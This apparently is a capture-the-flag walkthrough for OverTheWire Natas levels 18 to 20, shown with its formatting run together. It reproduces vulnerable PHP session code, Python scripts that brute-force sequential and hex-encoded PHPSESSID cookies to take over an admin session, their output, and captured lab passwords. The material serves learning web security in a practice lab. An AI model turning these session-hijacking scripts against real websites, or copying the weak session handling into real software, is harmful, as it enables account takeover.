<? $maxid = 640; // 640 should be enough for everyone
functionisValidAdminLogin(){ /* {{{ */ if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; }
returnfalse; } /* }}} */ functionprint_credentials(){ /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print"You are an admin. The credentials for the next level are:<br>"; print"<pre>Username: natas19\n"; print"Password: <censored></pre>"; } else { print"You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; } } /* }}} */
for i in range(1, 641): cookie = { 'Cookie' : 'PHPSESSID={0}'.format(i) }
r = requests.post(url=url, auth=HTTPBasicAuth(username,password), data=data, headers=cookie) if'You are logged in as a regular user'in r.text: print ('[-] PHPSESSID = ', str(i), ', You are logged in as a regular user') else: print ('[-] PHPSESSID = ', str(i), ', You are an admin!!!') print (r.text) print ('[*] natas Level 17 -> natas Level 18 Completed.') break
[*] natas Level 17 -> natas Level 18 Started. [-] PHPSESSID = 1 , You are logged in as a regular user [-] PHPSESSID = 2 , You are logged in as a regular user [-] PHPSESSID = 3 , You are logged in as a regular user ...... [-] PHPSESSID = 117 , You are logged in as a regular user [-] PHPSESSID = 118 , You are logged in as a regular user [-] PHPSESSID = 119 , You are an admin!!! <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head> <body> <h1>natas18</h1> <div id="content"> You are an admin. The credentials for the next level are:<br><pre>Username: natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
for i in range(1, 641): phpsessid_raw = str(i) + '-admin' phpsessid_hex = binascii.hexlify(phpsessid_raw.encode()) cookie = { 'Cookie' : 'PHPSESSID={0}'.format(phpsessid_hex.decode()) }
r = requests.post(url=url, auth=HTTPBasicAuth(username,password), data=data, headers=cookie) if'You are logged in as a regular user'in r.text: print ('[-] PHPSESSID = ', str(phpsessid_raw), '(' , phpsessid_hex.decode() ,'), You are logged in as a regular user') else: print ('[-] PHPSESSID = ', str(phpsessid_raw), '(' , phpsessid_hex.decode() ,'), You are an admin!!!') print (r.text) print ('[*] natas Level 18 -> natas Level 19 Completed.') break break
[*] natas Level 18 -> natas Level 19 Started. [-] PHPSESSID = 1-admin ( 312d61646d696e ), You are logged in as a regular user [-] PHPSESSID = 2-admin ( 322d61646d696e ), You are logged in as a regular user ...... [-] PHPSESSID = 280-admin ( 3238302d61646d696e ), You are logged in as a regular user [-] PHPSESSID = 281-admin ( 3238312d61646d696e ), You are an admin!!! <html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head> <body> <h1>natas19</h1> <div id="content"> <p> <b> This page uses mostly the same code as the previous level, but session IDs are no longer sequential... </b> </p> You are an admin. The credentials for the next level are:<br><pre>Username: natas20 Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div> </body> </html>
<? functiondebug($msg){ /* {{{ */ if(array_key_exists("debug", $_GET)) { print"DEBUG: $msg<br>"; } } /* }}} */ functionprint_credentials(){ /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print"You are an admin. The credentials for the next level are:<br>"; print"<pre>Username: natas21\n"; print"Password: <censored></pre>"; } else { print"You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } } /* }}} */
/* we don't need this */ functionmyopen($path, $name){ //debug("MYOPEN $path $name"); returntrue; }
/* we don't need this */ functionmyclose(){ //debug("MYCLOSE"); returntrue; }
functionmywrite($sid, $data){ // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); }
/* we don't need this */ functionmydestroy($sid){ //debug("MYDESTROY $sid"); returntrue; } /* we don't need this */ functionmygarbage($t){ //debug("MYGARBAGE $t"); returntrue; }